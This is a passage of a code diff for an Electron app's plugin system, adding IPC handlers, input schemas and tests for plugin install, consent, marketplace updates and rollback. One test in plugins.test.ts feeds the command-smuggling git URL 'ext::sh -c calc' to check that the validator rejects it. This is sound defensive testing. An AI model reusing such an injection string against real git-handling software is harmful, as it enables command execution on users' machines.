+        marketplaceCommit: 'moving-ref',
+        pluginKey: PLUGIN_KEY,
+        resolvedCommit: PLUGIN_COMMIT
+      })
+    ).rejects.toThrow()
+    await expect(
+      invoke('plugins:previewMarketplaceUpdate', {
+        pluginKey: PLUGIN_KEY,
+        unexpected: true
+      })
+    ).rejects.toThrow()
+    await expect(
+      invoke('plugins:rollbackMarketplacePlugin', { pluginKey: 'bare-id' })
+    ).rejects.toThrow()
+  })
+
+  it('dispatches source listing, add, removal, and refresh operations', async () => {
+    const services = createServices()
+    registerPluginMarketplaceHandlers(createPluginService(), services)
+    const source = {
+      kind: 'git' as const,
+      url: 'https://example.com/marketplace.git',
+      ref: 'main'
+    }
+
+    await invoke('plugins:listMarketplaces')
+    await invoke('plugins:addMarketplace', source)
+    await invoke('plugins:removeMarketplace', { sourceId: SOURCE_ID })
+    await invoke('plugins:refreshMarketplaces', { sourceId: SOURCE_ID })
+    await invoke('plugins:refreshMarketplaces', {})
+    await invoke('plugins:listMarketplacePlugins')
+
+    expect(services.marketplace.listSources).toHaveBeenCalledTimes(2)
+    expect(services.marketplace.addSource).toHaveBeenCalledWith(source)
+    expect(services.marketplace.removeSource).toHaveBeenCalledWith(SOURCE_ID)
+    expect(services.marketplace.refreshSource).toHaveBeenCalledWith(SOURCE_ID)
+    expect(services.marketplace.refreshAll).toHaveBeenCalledOnce()
+    expect(services.marketplace.listPlugins).toHaveBeenCalledOnce()
+  })
+
+  it('refreshes discovery only after a successful install', async () => {
+    const services = createServices()
+    const pluginService = createPluginService()
+    registerPluginMarketplaceHandlers(pluginService, services)
+    const preview = {
+      marketplaceSourceId: SOURCE_ID,
+      marketplaceCommit: MARKETPLACE_COMMIT,
+      pluginKey: PLUGIN_KEY,
+      resolvedCommit: PLUGIN_COMMIT
+    }
+
+    await invoke('plugins:installMarketplacePlugin', preview)
+    expect(services.installer.install).toHaveBeenCalledWith(preview)
+    expect(pluginService.refresh).toHaveBeenCalledOnce()
+
+    vi.mocked(pluginService.refresh).mockClear()
+    vi.mocked(services.installer.install).mockResolvedValueOnce({ ok: false, error: 'failed' })
+    await invoke('plugins:installMarketplacePlugin', preview)
+    expect(pluginService.refresh).not.toHaveBeenCalled()
+  })
+
+  it('deactivates before rollback and refreshes discovery only on success', async () => {
+    const services = createServices()
+    const pluginService = createPluginService()
+    registerPluginMarketplaceHandlers(pluginService, services)
+
+    await invoke('plugins:rollbackMarketplacePlugin', { pluginKey: PLUGIN_KEY })
+
+    expect(pluginService.deactivatePlugin).toHaveBeenCalledWith(PLUGIN_KEY)
+    expect(services.installer.rollback).toHaveBeenCalledWith(PLUGIN_KEY)
+    expect(vi.mocked(pluginService.deactivatePlugin).mock.invocationCallOrder[0]).toBeLessThan(
+      vi.mocked(services.installer.rollback).mock.invocationCallOrder[0]
+    )
+    expect(pluginService.refresh).toHaveBeenCalledOnce()
+
+    vi.mocked(pluginService.refresh).mockClear()
+    vi.mocked(services.installer.rollback).mockResolvedValueOnce({ ok: false, error: 'failed' })
+    await invoke('plugins:rollbackMarketplacePlugin', { pluginKey: PLUGIN_KEY })
+    expect(pluginService.refresh).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/ipc/plugin-marketplaces.ts b/src/main/ipc/plugin-marketplaces.ts
new file mode 100644
index 000000000..8e27ec249
--- /dev/null
+++ b/src/main/ipc/plugin-marketplaces.ts
@@ -0,0 +1,76 @@
+import { ipcMain } from 'electron'
+import { z } from 'zod'
+import { PLUGIN_COMMIT_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import { pluginMarketplaceGitSourceSchema } from '../../shared/plugins/plugin-marketplace'
+import type { PluginMarketplaceInstaller } from '../plugins/plugin-marketplace-installer'
+import type { PluginMarketplaceService } from '../plugins/plugin-marketplace-service'
+import { PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN } from '../plugins/plugin-marketplace-store'
+import type { PluginService } from '../plugins/plugin-service'
+
+export type PluginMarketplaceHandlerServices = {
+  marketplace: PluginMarketplaceService
+  installer: PluginMarketplaceInstaller
+}
+
+const sourceIdSchema = z.string().regex(PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN)
+const removeMarketplaceSchema = z.strictObject({ sourceId: sourceIdSchema })
+const refreshMarketplaceSchema = z.strictObject({ sourceId: sourceIdSchema.optional() })
+const marketplacePluginSchema = z.strictObject({
+  marketplaceSourceId: sourceIdSchema,
+  pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
+})
+const installMarketplacePluginSchema = marketplacePluginSchema.extend({
+  marketplaceCommit: z.string().regex(PLUGIN_COMMIT_PATTERN),
+  resolvedCommit: z.string().regex(PLUGIN_COMMIT_PATTERN)
+})
+const installedPluginSchema = z.strictObject({
+  pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
+})
+
+export function registerPluginMarketplaceHandlers(
+  pluginService: PluginService,
+  services: PluginMarketplaceHandlerServices
+): void {
+  ipcMain.handle('plugins:listMarketplaces', () => services.marketplace.listSources())
+  ipcMain.handle('plugins:addMarketplace', async (_event, args: unknown) => {
+    const source = pluginMarketplaceGitSourceSchema.parse(args)
+    return services.marketplace.addSource(source)
+  })
+  ipcMain.handle('plugins:removeMarketplace', async (_event, args: unknown) => {
+    const { sourceId } = removeMarketplaceSchema.parse(args)
+    await services.marketplace.removeSource(sourceId)
+    return services.marketplace.listSources()
+  })
+  ipcMain.handle('plugins:refreshMarketplaces', async (_event, args: unknown) => {
+    const { sourceId } = refreshMarketplaceSchema.parse(args ?? {})
+    return sourceId
+      ? [await services.marketplace.refreshSource(sourceId)]
+      : services.marketplace.refreshAll()
+  })
+  ipcMain.handle('plugins:listMarketplacePlugins', () => services.marketplace.listPlugins())
+  ipcMain.handle('plugins:previewMarketplacePlugin', async (_event, args: unknown) => {
+    const parsed = marketplacePluginSchema.parse(args)
+    return services.installer.preview(parsed.marketplaceSourceId, parsed.pluginKey)
+  })
+  ipcMain.handle('plugins:installMarketplacePlugin', async (_event, args: unknown) => {
+    const result = await services.installer.install(installMarketplacePluginSchema.parse(args))
+    if (result.ok) {
+      await pluginService.refresh()
+    }
+    return result
+  })
+  ipcMain.handle('plugins:previewMarketplaceUpdate', async (_event, args: unknown) => {
+    const { pluginKey } = installedPluginSchema.parse(args)
+    return services.installer.previewInstalledUpdate(pluginKey)
+  })
+  ipcMain.handle('plugins:rollbackMarketplacePlugin', async (_event, args: unknown) => {
+    const { pluginKey } = installedPluginSchema.parse(args)
+    await pluginService.deactivatePlugin(pluginKey)
+    const result = await services.installer.rollback(pluginKey)
+    if (result.ok) {
+      await pluginService.refresh()
+    }
+    return result
+  })
+}
diff --git a/src/main/ipc/plugins.test.ts b/src/main/ipc/plugins.test.ts
new file mode 100644
index 000000000..cdbc8082e
--- /dev/null
+++ b/src/main/ipc/plugins.test.ts
@@ -0,0 +1,159 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import type { PluginLockfile } from '../../shared/plugins/plugin-install-lockfile'
+import type { PluginService } from '../plugins/plugin-service'
+import type { Store } from '../persistence'
+
+const electronMocks = vi.hoisted(() => ({ handle: vi.fn(), on: vi.fn() }))
+vi.mock('electron', () => ({
+  ipcMain: { handle: electronMocks.handle, on: electronMocks.on }
+}))
+
+import {
+  canRemoveInstalledPlugin,
+  parsePluginConsentArgs,
+  parsePluginInstallArgs,
+  registerPluginHandlers
+} from './plugins'
+
+beforeEach(() => {
+  electronMocks.handle.mockReset()
+  electronMocks.on.mockReset()
+})
+
+describe('plugin consent IPC schema', () => {
+  it('requires the fingerprint reviewed by the caller', () => {
+    expect(() =>
+      parsePluginConsentArgs({ pluginKey: 'orca-samples.demo', decision: 'approve' })
+    ).toThrow()
+  })
+
+  it('accepts an explicit reviewed fingerprint', () => {
+    expect(
+      parsePluginConsentArgs({
+        pluginKey: 'orca-samples.demo',
+        reviewedFingerprint: 'sha256-reviewed',
+        decision: 'approve'
+      })
+    ).toEqual({
+      pluginKey: 'orca-samples.demo',
+      reviewedFingerprint: 'sha256-reviewed',
+      decision: 'approve'
+    })
+  })
+})
+
+describe('plugin install IPC schema', () => {
+  it('requires a non-empty git ref', () => {
+    expect(() =>
+      parsePluginInstallArgs({ kind: 'git', url: 'https://example.com/plugin.git' })
+    ).toThrow()
+    expect(() =>
+      parsePluginInstallArgs({ kind: 'git', url: 'https://example.com/plugin.git', ref: '   ' })
+    ).toThrow()
+  })
+
+  it('accepts an explicit git ref', () => {
+    expect(
+      parsePluginInstallArgs({
+        kind: 'git',
+        url: 'https://example.com/plugin.git',
+        ref: ' v1.2.3 '
+      })
+    ).toEqual({ kind: 'git', url: 'https://example.com/plugin.git', ref: 'v1.2.3' })
+  })
+
+  it('accepts HTTPS and SSH git transports', () => {
+    expect(
+      parsePluginInstallArgs({
+        kind: 'git',
+        url: 'ssh://git@example.com/acme/plugin.git',
+        ref: 'main'
+      })
+    ).toEqual({
+      kind: 'git',
+      url: 'ssh://git@example.com/acme/plugin.git',
+      ref: 'main'
+    })
+    expect(
+      parsePluginInstallArgs({
+        kind: 'git',
+        url: 'git@example.com:acme/plugin.git',
+        ref: 'main'
+      })
+    ).toEqual({ kind: 'git', url: 'git@example.com:acme/plugin.git', ref: 'main' })
+  })
+
+  it('rejects executable helpers and embedded HTTPS credentials', () => {
+    expect(() =>
+      parsePluginInstallArgs({ kind: 'git', url: 'ext::sh -c calc', ref: 'main' })
+    ).toThrow()
+    expect(() =>
+      parsePluginInstallArgs({
+        kind: 'git',
+        url: 'https://user@example.com/plugin.git',
+        ref: 'main'
+      })
+    ).toThrow()
+  })
+})
+
+describe('plugin removal authority', () => {
+  it('allows installed rows but refuses dev overrides and unknown keys', () => {
+    const service = {
+      getDiscovered: () => [
+        { pluginKey: 'orca-samples.installed', isDev: false },
+        { pluginKey: 'orca-samples.dev', isDev: true }
+      ]
+    } as unknown as PluginService
+
+    expect(canRemoveInstalledPlugin(service, 'orca-samples.installed')).toBe(true)
+    expect(canRemoveInstalledPlugin(service, 'orca-samples.dev')).toBe(false)
+    expect(canRemoveInstalledPlugin(service, 'orca-samples.unknown')).toBe(false)
+  })
+
+  it('refuses bundled installs because startup would restore them', () => {
+    const service = {
+      getDiscovered: () => [{ pluginKey: 'stablyai.orca-theme', isDev: false }]
+    } as unknown as PluginService
+    const lock = {
+      version: 1,
+      plugins: {
+        'stablyai.orca-theme': {
+          pluginKey: 'stablyai.orca-theme',
+          version: '1.0.0',
+          source: { kind: 'bundled', bundleId: 'stablyai.orca-theme' },
+          resolvedCommit: null,
+          contentHash: 'a'.repeat(64),
+          consentFingerprint: 'reviewed',
+          installedAt: 1
+        }
+      }
+    } satisfies PluginLockfile
+
+    expect(canRemoveInstalledPlugin(service, 'stablyai.orca-theme', lock)).toBe(false)
+  })
+})
+
+describe('plugin settings lifecycle authority', () => {
+  it('refreshes from the main-process settings listener without renderer follow-up', () => {
+    let settingsListener!: (updates: {
+      pluginSystemEnabled?: boolean
+      devPluginPaths?: string[]
+    }) => void
+    const store = {
+      onSettingsChanged: vi.fn((listener) => {
+        settingsListener = listener
+        return vi.fn()
+      })
+    } as unknown as Store
+    const service = {
+      setRuntimeDelegate: vi.fn(),
+      refresh: vi.fn().mockResolvedValue(undefined)
+    } as unknown as PluginService
+    registerPluginHandlers(store, service, null)
+
+    settingsListener({ pluginSystemEnabled: false })
+
+    expect(service.refresh).toHaveBeenCalledOnce()
+  })
+})
diff --git a/src/main/ipc/plugins.ts b/src/main/ipc/plugins.ts
new file mode 100644
index 000000000..29a788123
--- /dev/null
+++ b/src/main/ipc/plugins.ts
@@ -0,0 +1,257 @@
+import { ipcMain } from 'electron'
+import { z } from 'zod'
+import type { Store } from '../persistence'
+import type { OrcaRuntimeService } from '../runtime/orca-runtime'
+import type {
+  PluginPanelActionOutcome,
+  PluginPanelEntry
+} from '../../shared/plugins/plugin-panel-bridge'
+import { getUserPluginsDir, getPluginsDataDir } from '../plugins/plugin-discovery'
+import {
+  installPluginFromGit,
+  installPluginFromLocalPath,
+  readPluginLockfile,
+  removeInstalledPlugin
+} from '../plugins/plugin-install'
+import { applyPluginConsent, applyPluginEnablement } from '../plugins/plugin-enablement'
+import { buildPluginList, type PluginListEntry } from '../plugins/plugin-list-projection'
+import type { PluginService } from '../plugins/plugin-service'
+import { bindPluginPanelOwnerLifecycle } from '../plugins/plugin-panel-owner-lifecycle'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import { pluginConsentRequestSchema } from '../../shared/plugins/plugin-consent-request'
+import { normalizePluginIdList } from '../../shared/plugins/plugin-consent-state'
+import {
+  isAllowedPluginGitUrl,
+  type PluginLockfile
+} from '../../shared/plugins/plugin-install-lockfile'
+import {
+  registerPluginMarketplaceHandlers,
+  type PluginMarketplaceHandlerServices
+} from './plugin-marketplaces'
+
+export function parsePluginConsentArgs(args: unknown): z.infer<typeof pluginConsentRequestSchema> {
+  return pluginConsentRequestSchema.parse(args)
+}
+
+const setEnabledArgsSchema = z.object({
+  pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
+  enabled: z.boolean()
+})
+
+const readPanelEntryArgsSchema = z.object({
+  pluginKey: z.string().min(1),
+  panelId: z.string().min(1)
+})
+
+const invokeCommandArgsSchema = z.object({
+  pluginKey: z.string().min(1),
+  commandId: z.string().min(1),
+  args: z.unknown().optional()
+})
+
+const installArgsSchema = z.discriminatedUnion('kind', [
+  z.object({ kind: z.literal('local-path'), path: z.string().min(1) }),
+  z.object({
+    kind: z.literal('git'),
+    url: z.string().trim().min(1).refine(isAllowedPluginGitUrl, 'git URL must use HTTPS or SSH'),
+    // Why: installs must stay reproducible even when callers bypass renderer validation.
+    ref: z.string().trim().min(1)
+  })
+])
+
+export function parsePluginInstallArgs(args: unknown): z.infer<typeof installArgsSchema> {
+  return installArgsSchema.parse(args)
+}
+
+const removeArgsSchema = z.object({
+  pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
+})
+const logsArgsSchema = z.object({ pluginKey: z.string().min(1) })
+
+export async function listPluginsForClients(
+  pluginService: PluginService
+): Promise<PluginListEntry[]> {
+  await pluginService.whenReady()
+  const lock = await readPluginLockfile(getUserPluginsDir(pluginService.options.userDataPath))
+  return buildPluginList(pluginService, lock)
+}
+
+export function canRemoveInstalledPlugin(
+  pluginService: PluginService,
+  pluginKey: string,
+  lock?: PluginLockfile
+): boolean {
+  return (
+    lock?.plugins[pluginKey]?.source.kind !== 'bundled' &&
+    pluginService.getDiscovered().some((plugin) => plugin.pluginKey === pluginKey && !plugin.isDev)
+  )
+}
+
+function rendererPanelOwner(webContentsId: number): string {
+  return `renderer:${webContentsId}`
+}
+
+export function registerPluginHandlers(
+  store: Store,
+  pluginService: PluginService,
+  runtime: OrcaRuntimeService | null,
+  marketplaceServices?: PluginMarketplaceHandlerServices
+): void {
+  // The runtime IS the delegate: the structural PluginRuntimeDelegate type
+  // keeps the facade electron-free while main binds the real service.
+  if (runtime) {
+    pluginService.setRuntimeDelegate(runtime)
+  }
+
+  store.onSettingsChanged((updates) => {
+    if ('pluginSystemEnabled' in updates || 'devPluginPaths' in updates) {
+      // Main owns plugin lifecycle. Renderer follow-up refreshes are UX only;
+      // a crashed or remote caller must not leave old workers authoritative.
+      void pluginService.refresh().catch((error) => {
+        console.warn('[plugins] failed to apply plugin settings change:', error)
+      })
+    }
+  })
+
+  // Why: startup discovery is fire-and-forget; every handler awaits it so an
+  // early renderer fetch can't observe the empty pre-discovery list.
+  ipcMain.handle('plugins:list', async () => listPluginsForClients(pluginService))
+  ipcMain.handle('plugins:listLanguagePacks', async () => {
+    await pluginService.whenReady()
+    return pluginService.contentPacks.languagePacks.list()
+  })
+  ipcMain.handle('plugins:consent', async (event, args: unknown) => {
+    await pluginService.whenReady()
+    const parsed = parsePluginConsentArgs(args)
+    await applyPluginConsent({
+      store,
+      pluginService,
+      pluginKey: parsed.pluginKey,
+      reviewedFingerprint: parsed.reviewedFingerprint,
+      decision: parsed.decision,
+      originWebContentsId: event.sender.id
+    })
+    return listPluginsForClients(pluginService)
+  })
+
+  ipcMain.handle('plugins:setEnabled', async (event, args: unknown) => {
+    await pluginService.whenReady()
+    const parsed = setEnabledArgsSchema.parse(args)
+    await applyPluginEnablement({
+      store,
+      pluginService,
+      pluginKey: parsed.pluginKey,
+      enabled: parsed.enabled,
+      originWebContentsId: event.sender.id
+    })
+    return listPluginsForClients(pluginService)
+  })
+
+  // Why: the renderer renders panel HTML via a sandboxed iframe srcdoc, so it
+  // needs (CSP-wrapped) file contents — never a file:// path — across IPC.
+  ipcMain.handle(
+    'plugins:readPanelEntry',
+    async (event, args: unknown): Promise<PluginPanelEntry | null> => {
+      const ownerKey = rendererPanelOwner(event.sender.id)
+      const ownerLease = bindPluginPanelOwnerLifecycle(event.sender, () =>
+        pluginService.panels.revokeOwner(ownerKey)
+      )
+      await pluginService.whenReady()
+      const parsed = readPanelEntryArgsSchema.parse(args)
+      const entry = await pluginService.panels.open(ownerKey, parsed.pluginKey, parsed.panelId)
+      if (!ownerLease.isCurrent()) {
+        pluginService.panels.revokeOwner(ownerKey)
+        return null
+      }
+      return entry
+    }
+  )
+
+  // Panel-originated actions relayed by the renderer's postMessage bridge
+  // host. Capability enforcement happens in main, never in the renderer.
+  ipcMain.handle(
+    'plugins:panelAction',
+    async (event, args: unknown): Promise<PluginPanelActionOutcome> => {
+      await pluginService.whenReady()
+      return pluginService.panels.execute(rendererPanelOwner(event.sender.id), args)
+    }
+  )
+
+  ipcMain.handle('plugins:invokeCommand', async (_event, args: unknown) => {
+    await pluginService.whenReady()
+    const parsed = invokeCommandArgsSchema.parse(args)
+    return pluginService.invokeCommand(parsed.pluginKey, parsed.commandId, parsed.args)
+  })
+
+  ipcMain.handle('plugins:install', async (_event, args: unknown) => {
+    await pluginService.whenReady()
+    const parsed = parsePluginInstallArgs(args)
+    const pluginsDir = getUserPluginsDir(pluginService.options.userDataPath)
+    const hostVersion = pluginService.options.hostVersion
+    const blockedPluginReason = (pluginKey: string): string | null =>
+      pluginService.options.getPluginKillListEntry?.(pluginKey)?.reason ?? null
+    const result =
+      parsed.kind === 'local-path'
+        ? await installPluginFromLocalPath({
+            pluginsDir,
+            sourcePath: parsed.path,
+            hostVersion,
+            blockedPluginReason
+          })
+        : await installPluginFromGit({
+            pluginsDir,
+            url: parsed.url,
+            ref: parsed.ref,
+            hostVersion,
+            blockedPluginReason
+          })
+    if (result.ok) {
+      await pluginService.refresh()
+    }
+    return result
+  })
+
+  ipcMain.handle('plugins:remove', async (event, args: unknown) => {
+    await pluginService.whenReady()
+    const parsed = removeArgsSchema.parse(args)
+    const pluginsDir = getUserPluginsDir(pluginService.options.userDataPath)
+    const lock = await readPluginLockfile(pluginsDir)
+    if (!canRemoveInstalledPlugin(pluginService, parsed.pluginKey, lock)) {
+      throw new Error(`cannot remove protected or non-installed plugin ${parsed.pluginKey}`)
+    }
+    await pluginService.deactivatePlugin(parsed.pluginKey)
+    await removeInstalledPlugin({
+      pluginsDir,
+      pluginsDataDir: getPluginsDataDir(pluginService.options.userDataPath),
+      pluginKey: parsed.pluginKey
+    })
+    // Drop the stale consent so a later reinstall re-prompts from scratch.
+    const settings = store.getSettings()
+    const consents = { ...settings.pluginConsents }
+    delete consents[parsed.pluginKey]
+    const disabledPlugins = normalizePluginIdList(settings.disabledPlugins).filter(
+      (pluginKey) => pluginKey !== parsed.pluginKey
+    )
+    store.updateSettings(
+      { pluginConsents: consents, disabledPlugins },
+      { notifyListeners: true, originWebContentsId: event.sender.id }
+    )
+    await pluginService.refresh()
+    return listPluginsForClients(pluginService)
+  })
+
+  ipcMain.handle('plugins:getLogs', async (_event, args: unknown) => {
+    const parsed = logsArgsSchema.parse(args)
+    return pluginService.getLogs(parsed.pluginKey)
+  })
+
+  // Re-discover after settings edits (feature flag, dev paths) — the
+  // renderer calls this right after updating those settings.
+  ipcMain.handle('plugins:refresh', async () => {
+    await pluginService.refresh()
+    return listPluginsForClients(pluginService)
+  })
+  if (marketplaceServices) {
+    registerPluginMarketplaceHandlers(pluginService, marketplaceServices)
+  }
+}
diff --git a/src/main/ipc/register-core-handlers.test.ts b/src/main/ipc/register-core-handlers.test.ts
index d2b36bdf0..51a417f7a 100644
--- a/src/main/ipc/register-core-handlers.test.ts
+++ b/src/main/ipc/register-core-handlers.test.ts
@@ -532,7 +532,7 @@ describe('registerCoreHandlers', () => {
     expect(registerFilesystemHandlersMock).toHaveBeenCalledWith(store)
     expect(registerRuntimeHandlersMock).toHaveBeenCalledWith(runtime)
     expect(registerRuntimeEnvironmentHandlersMock).toHaveBeenCalledWith(store)
-    expect(registerEphemeralVmHandlersMock).toHaveBeenCalledWith(store)
+    expect(registerEphemeralVmHandlersMock).toHaveBeenCalledWith(store, undefined)
     expect(registerAiVaultHandlersMock).toHaveBeenCalledWith(
       expect.objectContaining({
         getAdditionalCodexHomePaths: getAdditionalAiVaultCodexHomePaths,
diff --git a/src/main/ipc/register-core-handlers.ts b/src/main/ipc/register-core-handlers.ts
index 2c834255e..25ddf0677 100644
--- a/src/main/ipc/register-core-handlers.ts
+++ b/src/main/ipc/register-core-handlers.ts
@@ -48,6 +48,7 @@ import { registerTelemetryHandlers } from './telemetry'
 import { registerBrowserHandlers } from './browser'
 import { registerShellHandlers } from './shell'
 import { registerPetHandlers } from './pet'
+import { registerPluginHandlers } from './plugins'
 import { registerUIHandlers, setTrustedUIRendererWebContentsId } from './ui'
 import { registerEmulatorFrameStreamHandlers } from './emulator-frame-stream'
 import { registerEmulatorVideoStreamHandlers } from './emulator-video-stream'
@@ -86,6 +87,8 @@ import {
   prepareRuntimeAiVaultSessionResume,
   scanRuntimeAiVaultSessions
 } from '../ai-vault/runtime-session-scanner'
+import type { PluginService } from '../plugins/plugin-service'
+import type { PluginMarketplaceHandlerServices } from './plugin-marketplaces'
 
 let registered = false
 
@@ -115,7 +118,9 @@ export function registerCoreHandlers(
   agentAwakeService?: AgentAwakeService,
   crashReports?: CrashReportStore,
   keybindings?: KeybindingService,
-  lifecycleOptions: CoreHandlerLifecycleOptions = {}
+  lifecycleOptions: CoreHandlerLifecycleOptions = {},
+  pluginService?: PluginService,
+  marketplaceServices?: PluginMarketplaceHandlerServices
 ): void {
   // Why: on macOS the app can stay alive after all windows close, then
   // openMainWindow() is called again on 'activate'. ipcMain.handle() throws
@@ -175,7 +180,12 @@ export function registerCoreHandlers(
     registerAutomationHandlers(store, automations)
   }
   if (keybindings) {
-    registerKeybindingHandlers(keybindings)
+    registerKeybindingHandlers(keybindings, () => {
+      void pluginService?.reconcileActivationState()
+    })
+  }
+  if (pluginService) {
+    registerPluginHandlers(store, pluginService, runtime, marketplaceServices)
   }
   registerTelemetryHandlers(store)
   registerOrcaProfileHandlers(store, {
@@ -201,7 +211,7 @@ export function registerCoreHandlers(
   registerFilesystemWatcherHandlers()
   registerRuntimeHandlers(runtime)
   registerRuntimeEnvironmentHandlers(store)
-  registerEphemeralVmHandlers(store)
+  registerEphemeralVmHandlers(store, pluginService)
   registerAiVaultHandlers({
     getAdditionalCodexHomePaths: lifecycleOptions.getAdditionalAiVaultCodexHomePaths,
     prepareSessionResume: lifecycleOptions.prepareAiVaultSessionResume,
diff --git a/src/main/ipc/settings.test.ts b/src/main/ipc/settings.test.ts
index 01bbcbd12..71ca362f0 100644
--- a/src/main/ipc/settings.test.ts
+++ b/src/main/ipc/settings.test.ts
@@ -384,6 +384,27 @@ describe('registerSettingsHandlers', () => {
     )
   })
 
+  it('does not accept plugin authority grants from generic renderer settings IPC', async () => {
+    store.getSettings.mockReturnValue({ pluginConsents: {}, disabledPlugins: [] })
+    store.updateSettings.mockReturnValue({ pluginConsents: {}, disabledPlugins: [] })
+    registerSettingsHandlers(store as never)
+
+    const handler = handleMock.mock.calls.find((call) => call[0] === 'settings:set')?.[1] as (
+      _event: unknown,
+      args: unknown
+    ) => Promise<unknown>
+
+    await handler(settingsInvokeEvent, {
+      pluginConsents: { 'orca-samples.demo': 'sha256-forged' },
+      disabledPlugins: ['orca-samples.demo']
+    })
+
+    expect(store.updateSettings).toHaveBeenCalledWith(
+      {},
+      { notifyListeners: true, originWebContentsId: 1 }
+    )
+  })
+
   it('normalizes terminal scrollback row updates and drops legacy byte updates', async () => {
     store.getSettings.mockReturnValue({ terminalScrollbackRows: 5_000 })
     store.updateSettings.mockReturnValue({ terminalScrollbackRows: 50_000 })
diff --git a/src/main/ipc/settings.ts b/src/main/ipc/settings.ts
index c4e37b9c0..0166f4ad5 100644
--- a/src/main/ipc/settings.ts
+++ b/src/main/ipc/settings.ts
@@ -37,6 +37,10 @@ function sanitizeRendererSettingsUpdate(args: Partial<GlobalSettings>): Partial<
   const { terminalScrollbackBytes: _legacyScrollbackBytes, ...sanitizedArgs } =
     args as LegacyTerminalScrollbackSettingsUpdate
   void _legacyScrollbackBytes
+  // Plugin consent and enablement are main-owned authority state. Renderer
+  // writes must pass the dedicated reviewed-fingerprint handlers.
+  delete sanitizedArgs.pluginConsents
+  delete sanitizedArgs.disabledPlugins
   return sanitizedArgs
 }
 
diff --git a/src/main/ipc/worktrees.ts b/src/main/ipc/worktrees.ts
index d41a92f90..43a0fbfbf 100644
--- a/src/main/ipc/worktrees.ts
+++ b/src/main/ipc/worktrees.ts
@@ -95,7 +95,7 @@ import {
   isENOENT,
   registerWorktreeRootsForRepo
 } from './filesystem-auth'
-import type { OrcaRuntimeService } from '../runtime/orca-runtime'
+import type { OrcaRuntimeService, RuntimeWorktreeLifecycleEvent } from '../runtime/orca-runtime'
 import { killAllProcessesForWorktree } from '../runtime/worktree-teardown'
 import { clearProviderPtyState, getLocalPtyProvider, getSshPtyProvider } from './pty'
 import { findExistingWorktreeSymlinkPaths, removeWorktreeLinkedPaths } from './worktree-symlinks'
@@ -987,7 +987,8 @@ function buildDisconnectedDetectedWorktrees(
 export function registerWorktreeHandlers(
   mainWindow: BrowserWindow,
   store: Store,
-  runtime: OrcaRuntimeService
+  runtime: OrcaRuntimeService,
+  options?: { onWorktreeLifecycle?: (event: RuntimeWorktreeLifecycleEvent) => void }
 ): void {
   // Remove previously registered handlers so re-register works when macOS re-activates and creates a new window.
   ipcMain.removeHandler('worktrees:listAll')
@@ -1285,6 +1286,13 @@ export function registerWorktreeHandlers(
           notifyWorktreesChanged(mainWindow, repo.id)
         }
 
+        options?.onWorktreeLifecycle?.({
+          kind: 'created',
+          worktreeId: result.worktree.id,
+          path: result.worktree.path,
+          branch: result.worktree.branch
+        })
+
         return result
       })
     }
@@ -1902,7 +1910,13 @@ export function registerWorktreeHandlers(
       })()
       worktreeRemovalsInFlight.set(inFlightKey, { optionsKey, promise: removal })
       try {
-        return await removal
+        const result = await removal
+        options?.onWorktreeLifecycle?.({
+          kind: 'removed',
+          worktreeId: args.worktreeId,
+          path: parseWorktreeId(args.worktreeId).worktreePath
+        })
+        return result
       } finally {
         if (worktreeRemovalsInFlight.get(inFlightKey)?.promise === removal) {
           worktreeRemovalsInFlight.delete(inFlightKey)
diff --git a/src/main/keybindings/keybinding-file.test.ts b/src/main/keybindings/keybinding-file.test.ts
index 4fd295d4c..a722e2c5e 100644
--- a/src/main/keybindings/keybinding-file.test.ts
+++ b/src/main/keybindings/keybinding-file.test.ts
@@ -92,6 +92,32 @@ describe('keybinding-file', () => {
     })
   })
 
+  it('preserves valid plugin overrides while rejecting malformed plugin action IDs', () => {
+    writeFileSync(
+      filePath,
+      JSON.stringify({
+        keybindings: {
+          'plugin:orca-samples.tasks/open': 'Mod+Shift+T',
+          'plugin:tasks/open': 'Mod+Alt+T'
+        }
+      }),
+      'utf8'
+    )
+
+    const snapshot = readKeybindingFile(filePath, 'linux')
+    expect(snapshot.overrides).toEqual({
+      'plugin:orca-samples.tasks/open': ['Mod+Shift+T']
+    })
+    expect(snapshot.diagnostics).toMatchObject([
+      { severity: 'warning', actionId: 'plugin:tasks/open' }
+    ])
+
+    writeKeybindingOverride(filePath, 'linux', 'plugin:orca-samples.tasks/open', [])
+    expect(readKeybindingFile(filePath, 'linux').overrides).toEqual({
+      'plugin:orca-samples.tasks/open': []
+    })
+  })
+
   it('ignores invalid, unknown, and conflicting manual edits', () => {
     writeFileSync(
       filePath,
diff --git a/src/main/persistence-right-sidebar-tab.test.ts b/src/main/persistence-right-sidebar-tab.test.ts
new file mode 100644
index 000000000..fcaf48afc
--- /dev/null
+++ b/src/main/persistence-right-sidebar-tab.test.ts
@@ -0,0 +1,49 @@
+import { describe, expect, it, vi } from 'vitest'
+
+// Why: persistence.ts touches electron at import time; a minimal stub keeps
+// this normalizer test focused instead of booting the full Store fixture.
+vi.mock('electron', () => ({
+  app: {
+    getPath: () => '/tmp/orca-persistence-right-sidebar-tab-test'
+  },
+  safeStorage: {
+    isEncryptionAvailable: () => false,
+    encryptString: (plaintext: string) => Buffer.from(plaintext, 'utf-8'),
+    decryptString: (ciphertext: Buffer) => ciphertext.toString('utf-8')
+  }
+}))
+
+import { normalizeRightSidebarTab } from './persistence'
+
+describe('normalizeRightSidebarTab', () => {
+  it.each(['explorer', 'search', 'vault', 'workspaces', 'source-control', 'checks', 'ports'])(
+    'preserves the built-in %s tab',
+    (tab) => {
+      expect(normalizeRightSidebarTab(tab)).toBe(tab)
+    }
+  )
+
+  // Regression: pr-checks was missing from the allow-list, so the folder
+  // PR Checks tab silently reset to Explorer on every app restart.
+  it('preserves the folder-only pr-checks tab across restarts', () => {
+    expect(normalizeRightSidebarTab('pr-checks')).toBe('pr-checks')
+  })
+
+  it('preserves well-formed plugin panel tabs', () => {
